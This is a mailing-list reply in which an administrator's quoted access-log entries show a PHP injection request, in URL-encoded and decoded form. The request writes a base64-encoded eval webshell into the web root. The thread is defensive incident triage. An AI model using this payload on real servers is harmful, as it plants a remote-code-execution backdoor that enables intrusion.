Have you tried to send those requests yourself and see what you get? Still those requests seem to be aimed at your php framework.
Do you use a very old php version as well? 2017-02-06 17:41 GMT+01:00 Lentes, Bernd <[email protected] >: > > ----- On Feb 6, 2017, at 5:14 PM, Bernd Lentes bernd.lentes@helmholtz- > muenchen.de wrote: > > > Hi, > > > > just in the moment i found two very weird entries in may access_log: > > > > 91.200.12.33 - - [06/Feb/2017:16:43:26 +0100] 236 "GET > > /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B% > 40set_time_limit%280%29%3B%40set_magic_quotes_runtime% > 280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUME > > NT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28% > 27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B > > HTTP/1.1" 200 90 > > 91.200.12.33 - - [06/Feb/2017:16:44:33 +0100] 253 "GET > > /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B% > 40set_time_limit%280%29%3B%40set_magic_quotes_runtime% > 280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUME > > NT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28% > 27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B > > HTTP/1.1" 200 90 > > > > What upsets me is that these two requests have statuscode 200, which > mean it was > > successfull. > > The IP is from ukraine. Where can i find out what these %charcacters > mean ? Does > > anyone understand what happened here ? It's apache 2.2.3 64bit. > > > > Thanks for any hint. > > > > Bernd > > > > What i find out already: > https://url-encoder.de/ helped me to decode the URL: > /?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo > '->|';file_put_contents($_SERVER['DOCUME > NT_ROOT'].'/webconfig.txt.php',base64_decode(' > PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-'; > > Currently i don't understand what this means. > I don't find a file webconfig.txt.php on my system. > Currently no weird process, no new user in /etc/passwd, no packtes to the > network which includes this ip. > > Thankful for any tip. > > > Bernd > > > Helmholtz Zentrum Muenchen > Deutsches Forschungszentrum fuer Gesundheit und Umwelt (GmbH) > Ingolstaedter Landstr. 1 > 85764 Neuherberg > www.helmholtz-muenchen.de > Aufsichtsratsvorsitzende: MinDir'in Baerbel Brumme-Bothe > Geschaeftsfuehrer: Prof. Dr. Guenther Wess, Heinrich Bassler, Dr. Alfons > Enhsen > Registergericht: Amtsgericht Muenchen HRB 6466 > USt-IdNr: DE 129521671 > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: [email protected] > For additional commands, e-mail: [email protected] > > -- *Daniel Ferradal* IT Specialist email dferradal at gmail.com linkedin es.linkedin.com/in/danielferradal
